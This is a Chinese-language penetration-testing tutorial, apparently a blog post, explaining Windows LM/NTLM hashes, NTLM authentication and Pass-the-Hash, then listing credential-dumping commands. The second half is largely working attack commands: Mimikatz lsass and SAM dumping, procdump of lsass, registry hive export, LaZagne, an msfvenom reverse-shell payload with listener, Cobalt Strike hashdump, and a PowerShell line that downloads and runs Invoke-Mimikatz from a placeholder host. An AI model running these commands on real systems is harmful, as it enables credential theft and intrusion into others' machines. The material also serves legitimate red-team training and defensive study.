渗透测试之WindowsHash的介绍及Windows密码凭证的获取及PTH攻击

1、Windows Hash

a、hash

Hash(散列):是一种将任意长度的输入(或称消息)通过散列算法变换成固定长度的输出的方
法。这种输出通常被称为散列值或消息摘要。
散列函数具有以下几个特性:
1、确定性:相同的输入总是产生相同的输出。
2、压缩性:输出的长度固定,通常远小于输入的长度。
3、单向性:从输出很难(或不可行)推导出原始输入。
4、抗碰撞性:不同的输入产生相同输出的概率极低。

b、Windows hash

Windows hash主要使用LM哈希和NTLM哈希算法

c、hash格式

用户名称:RID:LM-HASH值:NTLM-HASH值

test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248:::

用户名称:标识用户的账户名。
RID(Relative Identifier):一个唯一的数字标识符,用于在系统中唯一标识用户账户。
LM-HASH:基于LAN Manager算法的密码哈希值。
NTLM-HASH:基于NT LAN Manager算法的密码哈希值。

当LM-HASH值为AAD3B435B51404 EEAAD3B435B514G4EE,NTLM 哈希为 31D6CFE0D16AE931B73C59D7E0C089C0这通常表示:
空密码:用户的密码为空。
未使用LM哈希:在某些情况下,系统可能没有使用LM哈希算法来处理密码。

d、hash存储位置

Windows Hash一般存储在两个地方:
SAM文件:存储在本地计算机上,包含本地用户的密码哈希。文件位置
C:\windows\system32\config\SAM
NTDS.DIT文件:存储在域控制器上,包含域用户的密码哈希。文件位置
C:\windows\NTDS\NTDS.dit

2、Windows认证

它包括以下三种主要类型:
1.本地认证:用户直接在本地计算机上登录账户。
2.网络认证:用户通过远程连接访问工作组中的设备。
3.域认证:用户登录到域环境中的设备,通常涉及更复杂的安全策略和集中管理。

(1)Windows本地认证

流程:

1.用户输入密码:通过winlogon.exe进行用户界面交互。
2.密码处理:系统接收到密码后,由lsass.exe进程处理,将密码计算成NTLM Hash。
3.哈希比对:计算得到的NTLM Hash与存储在SAM数据库(%SystemRoot%)system.32\config\sam)中的哈希值进行比对。
4.登录结果:如果哈希值匹配,则登录成功;否则登录失败。
在本地认证中,lsass.exe进程负责处理用户输入的密码,并将其转换为NTLM Hash用于比对。使
用如mimikatz等工具可以读取lsass.exe进程中的明文密码。
winlogon是用来管理用户登录和登出
lsass是用于本地安全和登陆策略

(2)Windows网络认证

流程:

1.协商:客户端和服务器端协商确定使用的NTLM协议版本(V1或V2)。不同协议使用不同格式的
Challenge和加密算法。
2.质询:
客户端向服务器端发送用户信息(用户名)请求,服务器接受到请求后,判断本地用户列表是否存在用
户,如果不存在用户则认证失败
·如果存在用户,服务器生成一个16位的随机数(Challenge),并使用用户名对应的NTLMHash加
密challenge,生成challenge1并保存在内存中。同时,将Challenge明文发送给客户端。
3.响应:客户端收到Cha1lenge后,使用自己提供用户的密码生成NTLMHash,然后使用这个哈希值
加密challenge,生成Response,并将Response发送至服务器端。

4.验证:服务器收到Response后,与内存中的challenge1进行比对。如果匹配,则认证通过。

Net-NTLM Hash:是动态生成的 “挑战 - 响应” 哈希,不直接存储,仅在网络认证时临时产生

哈希类型存储位置获取方式用途
NTLM 哈希主机 A 的 SAM 数据库 / 域控制器的 NTDS 数据库使用 mimikatz 等工具从 LSASS 进程提取本地认证、哈希传递 (PTH) 攻击
Net-NTLM 哈希网络传输中 (认证响应包)使用 responder、Wireshark 等嗅探工具捕获网络服务认证、NTLM 中继攻击

Net-NTLM Hash破解:

使用net use 等命令发起网络请求然后使用嗅探工具获取Net-NTLM Hash,随后还可用爆破工具

PTH攻击:

Pass-The-Hash(PTH),哈希传递攻击
2.PTH攻击利用了NTLM认证协议中的一个特性,即允许使用用户的密码哈希值进行认证,而不需要实际的密码。


PTH攻击的关键步骤

1.获取NTLM哈希:攻击者首先需要获取目标用户的NTLM哈希值。这可以通过网络嗅探(如上面说的Net-NTLM Hash破解)、利用系统漏洞或使用工具(如Mimikatz)从本地系统提取。
2.模拟认证请求:攻击者使用获取的NTLM哈希值,模拟正常的用户认证请求,向目标系统发送认证请求。
3.建立会话:如果认证请求被接受,攻击者可以建立一个网络会话,执行远程命令或访问网络资源。


PTH与Windows网络认证的关系


1.利用NTLM认证机制:PTH攻击主要利用了NTLM认证协议的特性。在NTLM认证过程中,客户端和服务器通过交换加密的挑战和响应来验证用户身份。攻击者可以通过传递NTLM哈希值来绕过密码验证。
2.挑战-响应机制:在NTLM认证中,服务器生成一个随机的挑战(Challenge),客户端使用其密码哈希加密这个挑战,并将加密后的响应发送回服务器。PTH攻击中,攻击者使用获取的NTLM哈希值来生成响应,从而绕过密码验证
3.无需实际密码:PTH攻击的一个关键优势是攻击者不需要知道目标账户的实际密码,只需要其NTLM哈希值。这使得攻击者可以在不触发密码尝试警报的情况下进行攻击。

(3)域认证

这个我之前讲过:https://blog.csdn.net/fatesaber_/article/details/150148497?fromshare=blogdetail&sharetype=blogdetail&sharerId=150148497&sharerefer=PC&sharesource=fatesaber_&sharefrom=from_link

3、系统用户凭证获取

需要高权限

(1)Mimikatz

Mimikatz是一个开源的项目,它能够提取Windows系统中的密码哈希、明文密码以及其他敏感信
息,使用Mimikatz需要具备相应的系统权限,通常是AdministratorSystem权限。

项目地址:https://github.com/gentilkiwi/mimikatz

1、本地交互式

# 运行mimikatz
mimikztz.exe

# 提升权限,获取系统调试权限,调试权限是一种高级别的权限,允许用户调试或诊断系统上的其他进程。
mimikatz # privilege::debug

#提升当前进程的令牌权限,使其具有管理员级别的访问权限。
mimikatz# token:elevate

# 记录日志保存为re.txt
mimikatz # log re.txt

# 抓取登录密码
mimikatz # sekurlsa::logonpasswords

# 从 Windows 系统的安全账户管理器(SAM)数据库中提取密码哈希。
mimikatz # lsadump::sam

# 提取 Windows 系统中存储的敏感信息,如密码、密钥和其他凭据。
mimikatz # lsadump::secrets

# 退出 Mimikatz
mimikatz # exit

2、非交互式(就是一次性执行完)

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt

3、用powershell本地加载脚本

powershell -ep bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords"'

4、powershell远程加载脚本

powershell IEX (New-Object Net.WebClient).DownloadString('http://IP/Invoke-Mimikatz.ps1');Invoke-Mimikatz –DumpCreds

(2)Procdump+Mimikatz

Procdump是Sysinternals套件中的一个实用工具,它可以捕获并转储正在运行的进程的内存
(dump)。Mimikatz能够从这些内存转储中提取密码哈希和明文密码。结合使用Procdump和
Mimikatz,可以从Windows系统中提取敏感的登录凭据。

项目地址:https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump

procdump导出lsass进程:
32位系统
procdump.exe -accepteula -ma lsass.exe lsass.dmp
64位系统
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

命令会生成一个lsass.dump的文件,包含了lsass.exe进程的内存转储

用minikatz还原密码

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"

(3)Registry(注册表)

Windows注册表包含了系统启动和运行所需的配置和系统设置。其中,HKLM\SYSTEM、HKLM\SAM和HKLM\SECURITY分别存储着系统启动配置、用户账户信息和安全策略等关键数据。

1、reg命令导出注册表文件

# 导出 SYSTEM 键值
reg save HKLM\SYSTEM system.hiv

# 导出 SAM 键值
reg save HKLM\SAM sam.hiv

# 导出 SECURITY 键值
reg save HKLM\SECURITY security.hiv

2、用猕猴桃分析导出的注册表文件

mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" "exit"

(4)LaZagne

项目地址:https://github.com/AlessandroZ/LaZagne

使用:

python laZagne.py -h

python laZagne.py all

(5)Meterpreter(MSF)

1、获得会话

# 生成payload
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=aip lport=4444 -f exe -o 4444.exe

# 创建监听
handler -p windows/x64/meterpreter/reverse_tcp -H ip -P 4444

# 执行payload,上线meterpreter回话

2、使用smart_hashdump

meterpreter >run post/windows/gather/smart_hashdump

2.1、使用msf的猕猴桃

kiwi是msf里的猕猴桃加载模块

#加载mimikatz模块
load kiwi

#查看模块功能帮助
help kiwi

#列举系统中的明文密码
creds all

#读取sam文件
lsa_dump_sam

#查看基础命令
kiwi_cmd-h
#查看有哪些模块,kiwi cmd命令后面接mimikatz的模块命令
kiwi_cmd ::

#从Windows的sam文件中读取密码hash值
kiwi_cmd lsadump::sam

#获取明文密码
kiwi_cmd sekurlsa::logonpasswords

 (6)CobaltStrike(CS)

#用于转储目标系统上的密码哈希。
beacon>hashdump

#logonpasswords命令尝试从当前会话中获取当前登录用户的明文密码。
beacon>logonpasswords

#CobaltStrike集成了Mimikatz,可以直接在beacon会话中运行Mimikatz命令
#获取当前会话的明文密码
beacon>mimikatz sekurlsa::logonpasswords
#读取Windows的SAM数据库并转储密码哈希
beacon>mimikatz lsadump::sam

CobaltStrike将获取到的明文密码及密码Hash记录在“密码凭证视图”窗口中,提供了一个集中的
地方来查看所有收集到的凭证信息。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值